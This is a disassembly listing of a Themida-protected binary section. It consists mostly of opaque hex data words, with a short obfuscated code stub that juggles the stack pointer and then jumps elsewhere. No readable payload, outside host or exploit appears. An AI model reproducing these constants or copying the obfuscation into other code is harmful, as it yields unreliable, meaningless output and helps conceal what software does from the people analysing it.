dd 7D16BD58h, 0F2DF4D93h, 6EC749A3h, 94C66FA0h, 0D7C15A01h
dd 0AEC0577Eh, 18519h, 2CE90000h, 35BC63FEh, 33DC7205h
dd 26BF6601h, 6FB8233Ch, 0E64977A1h, 0E1D53071h, 23B859CCh
dd 44DAD25Ah, 0AD062DC1h, 4BDAA3B0h, 3ED77E19h, 0E45E4C54h
dd 0FF47A227h, 47F7852Ch, 1D9DADC4h, 0A1759DADh, 439C1B30h
dd 0BDBEA87Bh, 43DE0C8Dh, 36660DA2h, 0E76AF89Fh, 0C18DA4B9h
dd 2A00690Bh, 57833234h, 107BC1ABh, 50439C6Ah, 5AE18821h
dd 79E9902Dh, 0BC34F03Eh, 5989B781h, 528229BEh, 55850CB3h
dd 0B16A1BC2h, 0EE89B967h, 6E28AB59h, 0AD72DE4Fh, 0A91A089Eh
dd 0F4439C5Bh, 0F7DE3721h, 0E51FB656h, 11Bh, 8A820A49h
dd 0FA5806F4h, 502347A2h, 65F222A9h, 62FBA235h, 55852CC1h
dd 0E96EDFCDh, 0E6B9439Ch, 0E7179E45h, 0F022A950h, 0F427AE55h
dd 8A94473h, 68B6F161h, 0EC3AF3ACh, 0DE731242h, 0B5C8F6DFh
dd 60E41Fh, 25480000h, 0CFB94C7Ch, 9B3125ACh, 0F28CFDEBh
dd 0DBC949A3h, 49A3F26Ah, 995AE2B5h, 912AD16Ch, 10FE06F0h
dd 49A3F2EFh, 5420C79Ah, 49A3F2E3h, 0B65DF827h, 0BF66012Fh
dd 59BCF55Eh, 8D00D28Eh, 8B3AFA44h, 19A06CBAh, 80A18F25h
dd 2B49A3CFh, 8022C358h, 5C000000h, 42E984B3h, 51EC1AA9h
dd 820A9B67h, 5644F48Ah, 49A3F1E5h, 0A6416F30h, 36C566FFh
dd 7F877104h, 0A2ED1F91h, 0F0976A47h, 99E3969h, 0EC933262h
dd 9CED6820h, 30C9F843h, 35D00289h, 3766F58Eh, 438CF79Eh
dd 86C139F5h, 0C75E8EB8h, 0E9E16932h, 0FE6D6553h, 0B1844192h
dd 0A4D37C0Ah, 0EE1E1F09h, 0FC45B057h, 625AE232h, 0E0E6DECCh
dd 2AFD3B84h, 2ABEEB94h, 80B0CB3Ch, 0A2431637h, 253FB1B8h
dd 0D10C85A2h, 48323C00h, 0FA59D25h, 995C2921h, 94823247h
dd 43952C23h, 0B7B19B6Eh, 72A54EE4h, 0B66A9017h, 630494CCh
dd 0A9D96079h, 9FCF780Eh, 0DEC86108h, 4D8029D7h, 60F325B4h
dd 353620B9h, 33DC7205h, 657E6807h, 4F6D0899h, 0B27C0F57h
dd 2CC15484h, 1BC25585h, 25CC6594h, 30D76E9Eh, 38DF7AA9h
dd 83838DC8h, 0CF79C710h, 0CC73089Fh, 0E162099Ch, 3, 2C7C5E57h
dd 3CC36AFBh, 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h
dd 70F79E37h, 7A01A841h, 830AB14Ch, 6711B857h, 81E18951h
dd 4C1h, 4BE5600h, 29000000h, 0C875EF1h, 0A4685C24h, 8900006Bh
dd 5468240Ch, 89000007h, 3FB9242Ch, 814E6C1Bh, 0A5650BF1h
dd 8AE1812Fh, 416CED49h, 3C40BD55h, 0E9314C17h, 81D9F75Dh
dd 2F9677F1h, 2C8B54D5h, 4C48124h, 68000000h, 2E1Fh, 81240C89h
dd 8BE242Ch, 458F6995h, 8458108h, 699508BEh
db 8Bh, 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_544543
; ---------------------------------------------------------------------------
db 0DFh
dd 18DF5CD8h, 9ED49292h, 18B8D7E1h, 7DB87CD5h, 3060E22h
dd 3EE0FFC5h, 0F657E5D3h, 0E92431C5h, 0A3BD4B2h, 8D7AFA5Eh
dd 2A1D359Ah, 0FD76DFEAh, 16786C8Ah, 85610106h, 4B1E443Eh
dd 0CA1F4EE3h, 8D7BC4F0h, 6A64C2DAh, 542BFFAAh, 8421C763h
dd 0CB775731h, 0F807E68Eh, 8749AD42h, 0D60C38A6h, 25100FB8h
dd 0D64BE9DEh, 0EB52BE5Eh, 4F300810h, 0F9490855h, 4F52513Fh
dd 274A7FCBh, 6A0D77E1h, 0E9472024h, 0EDh
dword_5AEB50 dd 0D88C6660h, 840F04A8h, 0DFh, 9BDB58Bh, 0FE830607h, 22850F00h
; DATA XREF: Themida_:0053F008o
dd 0C6000000h, 709CD85h, 69684506h, 0FF8E7269h, 7059DB5h
dd 38858D06h, 0FF060A70h, 0DD8589D0h, 8B06072Bh, 0E93E80F0h
dd 31850Fh, 858D0000h, 60C7C95h, 0BD8BD0FFh, 60728F1h
dd 1184C781h, 0B58B0000h, 60709BDh, 8B9F787h, 0F3000000h
dd 0BDB58BA4h, 8D060709h, 0AAD5985h, 8BD0FF06h, 70055B5h
dd 0FE8306h, 22850Fh, 85C60000h, 60709CDh, 0BEF46854h
dd 0B5FFFF4Eh, 607059Dh, 7038858Dh, 0D0FF060Ah, 558589h
dd 0F08B0607h, 0FE93E80h, 3A85h, 55B58B00h, 8D060700h
dd 0C7C9585h, 8BD0FF06h, 728F1BDh, 84C78106h, 83000011h
dd 0B58B08C7h, 6070055h, 8B9F787h, 0F3000000h, 55B58BA4h
dd 8D060700h, 0AAD5985h, 61D0FF06h, 91858DC3h, 89060E23h
dd 7284985h, 5A8D8D06h, 0F5060E25h, 1AD98D89h, 6A0607h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0FCF4F4C3h, 6830Fh, 0E7810000h, 63613E3Bh, 1D85C7F9h
dd 0E0060710h, 6A00006Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0C341C352h, 0F5CD99C0h
dd 330585C7h, 607h, 890F0000h, 2, 0B5FFF08Bh, 6072639h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4C35040h
dd 7019589h, 95FF0607h, 6071859h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 54C35747h, 0D22A40C0h, 881858Bh
dd 6A0607h, 0D6995FFh, 0C08B0607h, 0B67F4CEBh, 0E7DC0E11h
dd 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 792E935Dh, 0C2BAA86Fh
dd 0FCEB6D19h, 2E8EB5E6h, 8D28BA4Eh, 4AD57650h, 0FCA228D9h
dd 5BFB004Fh, 0D2DDBDCAh, 9C4EF80Ch, 61EADB1Ch, 65284219h
dd 220B2451h, 0B0344AFEh, 4EB68EAh, 4D467619h, 0D32E9h
dd 278C6800h, 0C4E9060Eh, 68FFF957h, 60E28B2h, 0F957BAE9h
dd 2A6568FFh, 0B0E9060Eh, 68FFF957h, 60E2B8Ch, 0F957A6E9h
dd 2EE368FFh, 9CE9060Eh, 68FFF957h, 60E3038h, 0F95792E9h
dd 312A68FFh, 88E9060Eh, 30FFF957h, 2AD166FFh, 23CA5FFEh
dd 1EC55AF5h, 1AC156EFh, 1EB94EE7h, 7D184B06h, 791441E8h
dd 780B3DE4h, 790C3CE3h, 0BBA917E4h, 4395CD4Ah, 2CAC7E95h
dd 158674FCh, 6049A3F2h, 0BE45EC8Dh, 0B861F78Eh, 0B049F089h
dd 761FADC6h, 710AB144h, 0C1548687h, 0C766931Ah, 0D16C9920h
dd 0D37A1342h, 5FDF6922h, 0AB95A3ECh, 0A047DC7Bh, 983FD46Dh
dd 13B2DF68h, 8B32D36Ch, 912454FDh, 666751EAh, 5C0A9F36h
dd 0F24DBEACh, 0C59849A3h, 3830B8DBh, 80AB4A2h, 0F2C547A3h
dd 0EBDAD95Ch, 0E1DF398Ch, 0A512DEF7h, 0E9439C9Ch, 0F27920BBh
dd 0CB7C23C2h, 62080412h, 5FFA29D2h, 0CA0C1A75h, 1FB6120Bh
dd 47D1h, 2050F900h, 5B45DE85h, 8A820A8Fh, 18406F4h, 0DCAF47A3h
dd 0D2FEA735h, 0DB821545h, 61FAA142h, 0E1C43177h, 0EF1439Ch
dd 38660F00h, 49EA7DAFh, 0C61F09A2h, 1FB5D10Fh, 0CBCDh
dd 1E4CF500h, 0B443DC83h, 3602EC85h, 0C269FC2Ch, 0C66D083Bh
dd 5A8A0F3Fh, 0E5731ABBh, 8E78093Ch, 34CA5D8Dh, 17BE598Bh
dd 89FAE87Eh, 0D449A3F2h, 24101701h, 49A3EE8Ch, 0C459EC1Ch
dd 0B35AED1Dh, 0F48A820Ah, 0A2FECC06h, 84B05947h, 0F46553E9h
dd 3F439CCDh, 0C088826Ch, 1633B43Dh, 380C8624h, 439BFAC7h
dd 0BA42DD0Bh, 3B146E7h, 0E908E80h, 0A18B90A3h, 68FEF67Eh
dd 948CCD7Ah, 2FC59841h, 2DC25386h, 0ECC25386h, 0F07EA233h
dd 82CF507Fh, 0A000000Ah, 9A41D66Fh, 933ACF6Eh, 8E35CA65h
dd 8A31C65Fh, 8E29BE57h, 0ED88BB76h, 0E984B158h, 0E87BAD54h
dd 0E97CAC53h, 2B198754h, 4395CBBAh, 2C1CEE05h, 2CD368F9h
dd 62D469FCh, 0F48A820Ah, 0D60AD71h, 6F59ECF1h, 0ACF77967h
dd 6B1447A2h, 0EA85B13Eh, 2F41A249h, 2834977Ch, 5D5741E2h
dd 6ED76A9Ch, 2A217E3Dh, 0AC53F482h, 9C0073E0h, 6710A043h
dd 5BF49B3Ah, 66D7C5h, 0DEB1439Ch, 498F99F4h, 1FB6B28Ch
dd 0D54Eh, 0FC2CB200h, 83BC269h, 29B84F7Fh, 25BB5CF7h
dd 0D3C14F7Ch, 49A3F262h, 4F39DAADh, 0EDD26A36h, 326249A3h
dd 3CDD78A5h, 3FCFFDA6h, 0A3EDE051h, 0B7582B49h, 0EF1FC6CDh
dd 0ED047563h, 7C4F49A3h, 38B34DBh, 0B158EB1Dh, 0F3E17718h
dd 47A2FEB9h, 3EEC8154h, 26CD6895h, 0F880A38Dh, 91C16A00h
dd 95C84FF6h, 0A0CC5BFCh, 0DBC55E05h, 33DDE5D3h, 4C144195h
dd 9322ED5Eh, 0C465383Dh, 0BF52852Eh, 0DECC7C2Ah, 3D93236Dh
dd 2DC8F7B8h, 6EA1A28Ch, 1B3CFDD3h, 97C6F07Fh, 95C16h
dd 0AC497A00h, 0A9447017h, 0A43F6D14h, 0A039680Fh, 0A031640Bh
dd 9D58700Bh, 9B42D76Ah, 933ACF6Eh, 8A31C661h, 5926BB5Ah
dd 0CA8CFDEBh, 0C0D74395h, 68F92CEEh, 69FC2CD3h, 7C2562D4h
dd 750EB550h, 0BB5A8A8Bh, 0CA5D8D14h, 0F2DC4935h, 0F02049A3h
dd 6212C055h, 0A3F20374h, 917B4E49h, 1EC56090h, 29D06797h
dd 0C771BF78h, 0C16A0097h, 70EF893h, 0AEBFCD08h, 4F78FB19h
dd 7DEA3751h, 0D431745Ch, 3FE0C2B8h, 796155h, 0AC50000h
dd 6F48A82h, 47A2F2C8h, 2DF9A073h, 439CF2C0h, 0BA3C0AEDh
dd 1FB5BC1Bh, 5AC1h, 1340E900h, 25C4907Ah, 0EB5507Ch, 20C15487h
dd 0F282F036h, 1CA449A3h, 1AA08E24h, 5547A2F4h, 1346ED82h
dd 0AA32DB82h, 5A0194C4h, 9C8A20C1h, 419BFA12h, 37E57A4Dh
dd 23CA5B8Eh, 6D9FA08Ah, 0FCA533DAh, 0F89138C9h, 6B63EB0Eh
dd 0C941E7D5h, 29FC3B94h, 560F394h, 25690000h, 99C7507Ch
dd 1DBE57FEh, 0DDC75E8Eh, 1D4C32BAh, 5F4DE384h, 47A2ECADh
dd 32FEA578h, 439CECC5h, 89B962F2h, 0C4AE47EEh, 0BC19DF69h
dd 0A1FB5C1h, 4BD7DD87h, 3FD87F1Eh, 0C5C421D6h, 0E25ED7ECh
dd 0A38D2EB2h, 515AFh, 3927D700h, 439CC8C8h, 8A564013h
dd 0EF77CD3Eh, 0C97361F7h, 8447A2F8h, 861E2AB1h, 0F4EBD9D8h
dd 0F0DE746Ch, 97D6BA1Ah, 9A469A35h, 6B490502h, 5EFFA03Fh
dd 8E860EB7h, 66950AF8h, 0DDB091CAh, 0D4719E47h, 8232E2EAh
dd 0C5C62394h, 9E39678Dh, 3D65EF7h, 4DE81819h, 46E111B8h
dd 0B1F88B70h, 7F002F47h, 7A9h, 6AFF96C7h, 63F897C3h, 5EF38EBCh
dd 58ED88B7h, 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h
dd 0A5D57C11h, 42B07D12h, 95C8E354h, 45172E43h, 0C269FC2Ch
dd 3999119h, 0A308A715h, 0C3BE447h, 11B85783h, 9730D778h
dd 0EBC18B2Eh, 88720C1Ch, 7C25BB8Eh, 9BC94Ah, 6CDDCB59h
dd 0B7439C81h, 0C5DA43E4h, 2C748195h, 0BA68FD9Eh, 3D2BC937h
dd 0E1CB5883h, 7D13AEE0h, 790FA2D4h, 9C451A8Bh, 0A8926543h
dd 2C58018Fh, 6E5CEA91h, 439C44FDh, 45D47548h, 42DB8215h
dd 45A11258h, 33A0439Ch, 55439C55h, 963FD5CDh, 8B24CB6Ah
dd 39E999A1h, 9C35DA4Bh, 68522543h, 9B22A022h, 51F8CB41h
dd 95021885h, 0D462453Dh, 0ED88BA63h, 0F493BF46h, 2913B44Dh
dd 0BDB005D0h, 18D725h, 0A3B0000h, 44F48A82h, 0E8D26D9Bh
dd 0A2F6B4A2h, 852CFF47h, 1A04h, 7C257A00h, 0ABCEB849h
dd 0A7952B23h, 47A2CF51h, 5A03996Ch, 51EA912Ch, 25FC4E67h
dd 269622A2h, 0CFB9375Dh, 31079ECEh, 0FC6F795Ch, 82BE3F6Eh
dd 0A0000006h, 9A41D66Fh
dd 933ACF6Eh, 8E35CA65h, 8A31C65Fh, 8E29BE57h, 0ED88BB76h
dd 0E984B158h, 0E87BAD54h, 0E97CAC53h, 2B198754h, 4395C7BAh
dd 0A1CEE05h, 0F7E59582h, 49A3F286h, 0B92AFED1h, 449A3F2h
dd 0D776A231h, 60F69730h, 0A2F24472h, 953C0F47h, 0B247DE0Eh
dd 8F2E5B04h, 97E64FE8h, 0AE873743h, 917FC5AFh, 0CE625710h
dd 0A65F204Bh, 0CA60FDB8h, 507B6BDCh, 0F9E3B61Ch, 0C65B4FD6h
dd 0E77D75FDh, 4F58A3F9h, 44EBBE1Ah, 4ADD0DB6h, 4C7B0AA3h
dd 87710AB1h, 26BB5A86h, 47DDD55Dh, 4844D759h, 992F0214h
dd 3A24BDF0h, 0F5E39321h, 10422484h, 0CC12FCCFh, 1042245Fh
dd 5E4CFC8Ch, 104223EDh, 207B6538h, 8A05D016h, 57D75310h
dd 3B000001h, 16877525h, 6149A3F2h, 0F981A48Eh, 63F20339h
dd 3964B7E2h, 0C45F993Ch, 0B3C52ECFh, 0E45A1366h, 9F8D23C4h
dd 47A29471h, 3BC2693Ch, 30D76C0Bh, 30BE6500h, 1AC15487h
dd 1DC46393h, 597AE384h, 10554D7Bh, 9F8DD3BDh, 0A66257DEh
dd 0EB1B0513h, 0E010B74Ch, 8D109E45h, 0ACDBC67Bh, 8EFFED44h
dd 0D91C51B2h, 357B6506h, 3B0CA847h, 16BD588Bh, 78299A88h
dd 0A174F506h, 6452E612h, 0F50677F3h, 23CA6B3Eh, 65A16FB8h
dd 0B19FA9F2h, 0AA51E681h, 0A634DB7Ah, 29AF1D23h, 574199D1h
dd 1FB5A934h, 607A031h, 8318EBF5h, 0A43A32BAh, 801F4BF4h
dd 18925096h, 6A3DF305h, 5C8C35C3h, 9F8922C9h, 42D76E9Eh
dd 25CC6B9Bh, 0FEE80059h, 59E730EEh, 9328BFEFh, 0CADE98A7h
dd 462FB6DAh, 0AAADE758h, 5FFE2B7Ah, 0C4971FB8h, 0B5E48D23h
dd 46DC751Ch, 0AAACE758h, 755F327Ah, 3897C76Eh, 48C33B63h
dd 5FF59632h, 89F283B6h, 0B1DB856Bh, 0DAF3DD87h, 685B0D0Eh
dd 0D761F4F8h, 99E3969h, 0E786B25Bh, 39CCFCFDh, 66540492h
dd 0F4625AF5h, 0C9700B39h, 3FD5A830h, 625BE051h, 6E582BF4h
dd 0ADDDC34Bh, 33E3791Ah, 0D6C05D8Ah, 613BCA90h, 1DB285F2h
dd 307Ch, 820AF200h, 1806F48Ah, 6347A2F7h, 0E73CAD9Bh
dd 0B487439Ch, 0B9E56C13h, 1708891Eh, 685CE797h, 0E57BE4D2h
dd 0FFA8439Ch, 0F38C33D2h, 8C3C0F09h, 69FC2C50h, 9D830BD4h
dd 0CC2DD46Fh, 85CAEC2Ah, 8728C953h, 0F32503F1h, 7D5047A2h
dd 790C3EE7h, 780B3DE4h, 0BAA028D1h, 0B64CED88h, 0BEA85833h
dd 210B53C3h, 5BBD2B19h, 3508419Bh, 9001EF9Fh, 0D43D952Bh
dd 0B4870FA2h, 2BBF301Eh, 370A3D95h, 0F6A6344Dh, 952B9708h
dd 250FE23Dh, 953B72DFh, 140C943Dh, 0F825CE7Eh, 5A6416Fh
dd 853D51Bh, 0AB7E3B94h, 0E8CB3804h, 15F8378Dh, 0CA10C50Bh
dd 46CA2BC4h, 0F2000000h, 0ECE35442h, 5B2E378Dh, 820AA571h
dd 0F236A795h, 0C08149A3h, 0BA53FA93h, 0C25B8A19h, 4BE1821Bh
dd 28C5F29Bh, 0F70AF83Eh, 825547A2h, 0ED9D4DDBh, 9CE78EFFh
dd 3206D943h, 439CE7C1h, 544F390Ch, 27h, 0E2A225CAh, 5C8F66EDh
dd 0E9B32412h, 2BFE49A3h, 0F57DA08Ah, 237967FDh, 3E47A2C6h
dd 12B34E7Dh, 434DD6Bh, 2CBB8771h, 409369FCh, 42FC6FD4h
dd 32B9213h, 18490000h, 1541E87Dh, 103EE57Ah, 0A39E075h
dd 33DA6Fh, 1D35D065h, 1962F62h, 0FB902D5Ah, 0FA8F2254h
dd 0EF842353h, 55C6B422h, 0A04395C4h, 0FC2CB789h, 8434C269h
dd 0A3F22596h, 349D7049h, 8AFC1A8Ch, 0E7E8D2AFh, 0E18A20B7h
dd 272E18B3h, 48DED65Eh, 0A302B05Ah, 2986B47h, 0A28C2759h
dd 0D250BD89h, 9A7D439Ch, 0DC8B4A8Ch, 5A511FB5h, 79000000h
dd 0CA6ADBC9h, 0E2B5439Ch, 0F7DA8F79h, 0DF7C93Fh, 87752541h
dd 49A3F216h, 81A48E61h, 660339F9h, 0D52D4963h, 45EE9E34h
dd 4F957F12h, 47A2E9CDh, 800937F8h, 750EB550h, 0F3942DD4h
dd 0C913804Ch, 0B040439Ch, 0B909592Dh, 9C86104Ch, 0E4F1F741h
dd 0F61FB628h, 0C7h, 69FC2C5Ah, 6D083BC2h, 780F3FC6h, 689A43D1h
dd 0A38D26CDh, 3ED372A2h, 0A3EEBA52h, 6E9A4349h, 0A58F28CFh
dd 4CE174A4h, 2DC8F59Eh, 203ED86h, 0E38C33D2h, 1DCD635Bh
dd 9B04174h, 52408670h, 9D47A2CFh, 0FAE08E02h, 0BBE74999h
dd 3BDC751Ch, 0B43C059Ah, 0CD7626BCh, 51E4169Fh, 0E17011AAh
dd 0D77017B2h, 9917A7EDh, 8B5E4194h, 88194CF5h, 9A194CF3h
dd 79EAD868h, 0C43D9289h, 0D9AF50F1h, 0F07EBDF0h, 0D61A9BCAh
dd 0F4000001h, 0F69D32C3h, 0EF962BCAh, 0EA9126C1h, 0E68D22BBh
dd 0F28D22B3h, 59EC1FDAh, 55F01DC4h, 4CE719C0h, 45E010B7h
dd 8775E3B0h, 4395C216h, 2C784A61h, 0AD487AF9h, 0A0D0770Ch
dd 0AFE7005h, 44F48A82h, 0A3F1E556h, 735D3049h, 0DB38BB6Bh
dd 62F5256Eh, 0A5376DF9h, 0C5B0210Fh, 28FB49A3h, 0D476F83Eh
dd 0CEA147A2h, 0B3EE5B27h, 8B1B439Ch, 6C13B2E2h, 808EE9D3h
dd 0B5FE973Eh, 0B6451Fh, 0BD6D0000h, 9CC05ECFh, 3CAD9B43h
dd 87439CC0h, 6F592CB4h, 69FC2CA3h, 6D083BC2h, 5C8F38C6h
dd 9F8922C9h, 0A3EDC159h, 86215149h, 8D1A4AF1h, 8821C85Bh
dd 0F9740E7h, 0A5938117h, 0E247A2CDh, 0CA710C39h, 8C4D4731h
dd 901EC560h, 9CBD31A2h, 8A97C43h, 8109D267h, 6005F389h
dd 1B419523h, 0D609B248h, 0CCFFA63Bh, 34646339h, 2F5EF07Fh
dd 0E4AEh, 34D10200h, 31CCF89Fh, 2CC7F59Ch, 28C1F097h
dd 28B9EC93h, 25E0F893h, 23CA5FF2h, 1BC257F6h, 12B94EE9h
dd 0E1AE43E2h, 0C1148573h, 485F4395h, 68F92C76h, 7BFC2CD3h
dd 8209B04Fh, 7A13BA53h, 31A338D9h, 0C269FC2Ch, 0D76C0B3Bh
dd 0E9E6A629h, 88A1086Ah, 0FBF37B9Eh
dword_5AF940 dd 0D8C1E265h, 168B3C85h, 6DF00DADh, 412B9A03h, 0CA414B39h
; DATA XREF: Themida_:0053CD88o
; Themida_:0053F1ECo
dd 0A97C4799h, 0AC4B7B02h, 0A5407017h, 92ED70FEh, 0B33F484h
dd 2AABF1DBh, 4E0E4DB4h, 30A18F21h, 7BF84D34h, 0D96007A8h
dd 0C1680FAAh, 1AE626F0h, 660131DAh, 2917217Ch, 1BC95EF9h
dd 340C7D6Bh, 8457F84Dh, 0CE69999Ah, 0BEF09927h, 9383923h
dd 16B75682h, 1CB5E86Fh, 27BEEE75h, 3E08D980h, 0F4428BFEh
dd 0E67B1A4Ah, 0D1780F3Fh, 0CE679A43h, 3E9E4h, 5E5F0000h
dd 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h
dd 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah, 17686711h
dd 89000037h, 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h
dd 2404895Ch, 5E08950h, 4, 8704E883h, 895C2404h, 6851242Ch
dd 33BC279Fh, 63F18159h, 5135B202h, 0C9685958h, 8900005Dh
dd 4832424h, 505D0424h, 0B3240481h, 8F79914Fh, 0B8500845h
dd 0CB758Dh, 0F705E0C1h, 19F235D0h, 0D8F76A9Ah, 7967C005h
dd 3FA00539h, 4529CC23h, 2C8B5808h, 0E2895224h, 4C281h
dd 0C2810000h, 4, 5C241487h, 5124048Bh, 0C181E189h, 4
dd 4C181h, 0C870000h, 0A8E95C24h, 20FFF94Ah, 0DAA1459h
dd 364A9099h, 0B82EC8A7h, 60E3233h, 0E0FFC503h, 46D124D9h
dd 34F18EAAh, 145E27D0h, 2B6AF55Ch, 2471AD7h, 64F7134Dh
dd 4DFC1D1Dh, 5ACC4838h, 6E512DCCh, 1D210E13h, 0BC46BF9h
dd 2171CF4Bh, 7B2E340Eh, 78E9536h, 7B5E5843h, 847404EBh
dd 85E93D3Ch, 0F4000005h, 0F69D32C3h, 0EF962BCAh, 0EA9126C1h
dd 0E68D22BBh, 0F28D22B3h, 59EC1FDAh, 55F01DC4h, 4CE719C0h
dd 45E010B7h, 8775E3B0h, 4395BF16h, 2C784A61h, 3BC269FCh
dd 31D86D08h, 31BF6601h, 0D6C05988h, 6B12A5D5h, 761DB8E4h
dd 832ABDEFh, 9037CAFCh, 2FEF39CCh, 0D146D063h, 755FFA28h
dd 1CB14474h, 1BB04375h, 8AF4274h, 23B95481h, 7AE477Ah
dd 6B846Eh, 8DBF69B7h, 8EBE65FAh, 168450F7h, 0FE49A3F2h
dd 0F6A69BA5h, 0A3F29708h, 0F321E249h, 74CDB758h, 19AEC061h
dd 0D043E467h, 9C17D03h, 0CA68D3DEh, 1AA94A81h, 726650EDh
dd 74h, 69FC2CD6h, 6DFA2AD3h, 64FDA43Fh, 99831CC3h, 0F249B480h
dd 0D42D49A3h, 0C051844Ah, 0C77719AEh, 0AE55F01Eh, 0E6D04115h
dd 793A49A3h, 4C79ED0Dh, 5C4619A1h, 168h, 7C25CC00h, 0CDCEB849h
dd 0C91D3EA1h, 54120A81h, 59850CB3h, 619017BEh, 6E9A21C8h
dd 74A128CFh, 761DB8EBh, 25953CDDh, 0C5F25CEAh, 47E88128h
dd 0F05EE87Bh, 0ED9429C4h, 23952ABDh, 0C168F92Ch, 0C86F0E3Ah
dd 0CF761141h, 0DA811C48h, 58D46233h, 0EE58E69Fh, 0EE952ABBh
dd 0E9127BEh, 0A7E37E83h, 3868F71Ch, 735DF69Dh, 0AA5D35Ah
dd 54E2C563h, 0AF245392h, 1CC57519h, 14AD54EDh, 0A386CF40h
dd 29591A49h, 0AD4EE78Eh, 72CFC3h, 2C330000h, 33C168F9h
dd 938933B0h, 13FD2111h, 0A249E412h, 0A84FEE1Bh, 0B35AF521h
dd 0FE3E0843h, 3A6FF232h, 7E401CE9h, 95A3FEE8h, 48DD78ABh
dd 2CD36EA1h, 34DB76A5h, 6365B396h, 19AFB282h, 7778h, 0DA1DA000h
dd 6487C06h, 2C5A2610h, 3AC168F9h, 56C66D08h, 93C56Eh
dd 7BD6C059h, 0B55083ADh, 9AC97220h, 56BF58FFh, 6C9108DDh
dd 20ECD605h, 0CF65002Ch, 3B799B4Ch, 5C463A08h, 1705B543h
dd 49A3BFA6h, 0E25F56F1h, 0BC41520Fh, 7DEB311Bh, 6549A337h
dd 0F283B65Fh, 36FD6E5Ch, 754849A3h, 0E0E6308Bh, 19AF7AF5h
dd 0BE7h, 715F0F00h, 49A33B00h, 0C28E784Bh, 0BC63FE2Ch
dd 0CB720535h, 1F091760h, 0F8C156F1h, 0F4E27870h, 47A3097Ah
dd 198F0487h, 727FB6FFh, 7309AA43h, 9BFD1485h, 0A28C5F43h
dd 16E0DA8h, 9731610h, 9CE9AA1Bh, 8122F543h, 82B239E0h
dd 9E2DC8F5h, 0A036D76Eh, 862DC8F7h, 55FC03EDh, 1FEB9225h
dd 439CE9B4h, 0D846D00Bh, 0F4770DA8h, 1B1220A2h, 121903DFh
dd 0F59C3B6Bh, 0F98CBE67h, 0CECFB952h, 0AF60079Eh, 4EF728F6h
dd 999A8421h, 3A39CE69h, 1FB6199Bh, 0BC55842Dh, 0C0ED7C15h
dd 0FBE57E25h, 15207h, 58862F00h, 0A07D3BDh, 36A79582h
dd 8149A3F2h, 0F4770DAEh, 1297F0B7h, 47DE0EFBh, 7C6607A0h
dd 99D88674h, 0DBA347A2h, 9C897CEDh, 8BF4C743h, 47778D0Fh
dd 0A74EEF86h, 51FB9619h, 0CC54426Bh, 16B1E1E2h, 0BAADA81h
dd 1AADDD64h, 0B35CC273h, 0A1FCE681h, 0DE79A997h, 698B4A49h
dd 63511FB6h, 79000000h, 0EB1AA1D0h, 7112AB52h, 75A231CAh
dd 0AE9831D8h, 4D7C25E2h, 0DA6ADECh, 0E1822898h, 94B7A13Ah
dd 0D383190Dh, 0B65DF82Ah, 0CCED331Dh, 7749A350h, 0BF6FFDA4h
dd 0A35060D1h, 0EED8AB49h, 0A35037A8h, 0BC8A5B49h, 5FF5E970h
dd 0A3505071h, 9328FB49h, 0AC0D3CE5h, 8932EED2h, 2A14B581h
dd 8E2Fh, 7C25A500h, 0F527B64Fh, 0CD557862h, 0F281F2E0h
dd 0F9CC49A3h, 62D4C258h, 0AD47A2EEh, 6C9B44DAh, 47CEE7D1h
dd 41EA8017h, 858C7611h, 7017AEDEh, 9CEDECA4h, 0B64F7C43h
dd 0C25B880Fh, 2E9F8D1Bh, 79439CEDh, 25F32EA6h, 0E83671E9h
dd 0E2770E3Eh, 3999119h, 92DA8D15h, 0DA0DB641h, 90635D47h
dd 9E3262E9h, 8EBA3FB0h, 1D8E7C3Dh, 683D8EBAh, 993A0D95h
dd 0F03E87F2h, 0EA49C24h, 84A79820h, 2311C13Bh, 378087B2h
dd 46402AFDh, 0A6CDE73h, 6F48A82h, 4799DF7Eh, 9809F7A7h
dd 24395BFh, 813D9B59h, 4E21A992h, 0F0976A64h, 99E3969h
dd 4CBDAB5Bh, 97439507h, 0A9D9DAC4h, 4AF5780Eh, 890F3CD3h
dd 0C6546D57h, 2B72816h, 0C9FB4395h, 0B3E5A62Eh, 3FE07920h
dd 76380F55h, 780B7EC6h, 0C05080AEh, 624661D2h, 0F6E4AC08h
dd 8624685h, 0BB5CFDD0h, 0B84F7F26h, 0A7DA8311h, 0B259F420h
dd 6F0F7819h, 53950FC7h, 67969781h, 73BC27CEh, 0BE4B7BA5h
dd 0C358F98Ch, 396BEC1Ch, 0BE67FD9Eh, 0B34CF392h, 32FB0C9h
dd 0A5000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh
dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
dd 506711B8h, 0BB53E089h, 357000A7h, 12B6F381h, 0EBC17CB4h
dd 4DC38105h, 8154F916h, 0A3648BE3h, 18E3815Bh, 813A2B4Ah
dd 0FCFFFCC3h, 5BD801EDh, 8704E883h, 685C2404h, 167Ah
dd 68242C89h, 280Dh, 57240489h, 571EEABFh, 0E3CF8130h
dd 81758B02h, 4A7684C7h, 0C1D7F74Ch, 0C78107EFh, 37881636h
dd 8FD3EF81h, 5D5731F5h, 48B545Fh, 4C48324h, 86852h, 15A0000h
dd 5A2A89C2h, 582434FFh, 4C481h, 34FF0000h, 0C4815D24h
dd 4, 0F944D6E9h, 54B357FFh, 81AD442Fh, 9ACCF1EFh, 1B26714Bh
dd 0E3818B8h, 0FFC50306h, 230625E0h, 8D65E5Ah, 6FBA292Dh
dd 0A3ACB846h, 3C0B6A2Ch, 0AEE6D170h, 9D212D70h, 0ADBA1A74h
